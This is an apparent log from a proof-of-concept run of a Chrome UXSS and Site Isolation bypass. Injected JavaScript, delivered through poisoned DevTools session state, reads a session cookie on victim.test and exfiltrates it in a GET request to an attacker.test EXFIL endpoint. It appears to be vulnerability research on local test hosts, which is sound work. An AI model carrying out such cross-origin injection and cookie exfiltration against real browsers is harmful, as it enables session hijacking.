[http] serving attacker.test + victim.test on 127.0.0.1:8765
[cdp] waiting for Chrome remote debugging endpoint...
[http] attacker.test:8765 "GET / HTTP/1.1" 200 -
[http] victim.test:8765 "GET /secret.html HTTP/1.1" 200 -
[cdp] attaching to about:blank (74F117DDEBEB59E2435DE6DA2994A14B)
[cdp] Runtime.enable -> {"method":"Runtime.executionContextCreated","params":{"context":{"id":1,"origin":"://","name":"","uniqueId":"-2894920271
[cdp] navigated to attacker.test; session attached, draining events...
[http] attacker.test:8765 "GET / HTTP/1.1" 200 -
[cdp] event: {"method":"POC.poisoned"}
[http] attacker.test:8765 "GET /favicon.ico HTTP/1.1" 404 -
[http] victim.test:8765 "GET /secret.html HTTP/1.1" 200 -

======================================================================
[!!!] EXFILTRATION RECEIVED
[!!!]   from origin: http://victim.test:8765
[!!!]   cookie:      SESSION=victim-secret-deadbeef
======================================================================

[http] attacker.test:8765 "GET /EXFIL?origin=http%3A%2F%2Fvictim.test%3A8765&cookie=SESSION%3Dvictim-secret-deadbeef HTTP/1.1" 200 -

######################################################################
# UXSS CONFIRMED
#
# Attacker JS executed in victim's main world:
#   origin = http://victim.test:8765
#   cookie = SESSION=victim-secret-deadbeef
#
# Site Isolation bypass: a compromised renderer at
# attacker.test injected JavaScript into victim.test's
# main world via poisoned DevToolsSessionState.
######################################################################
[http] victim.test:8765 "GET /favicon.ico HTTP/1.1" 404 -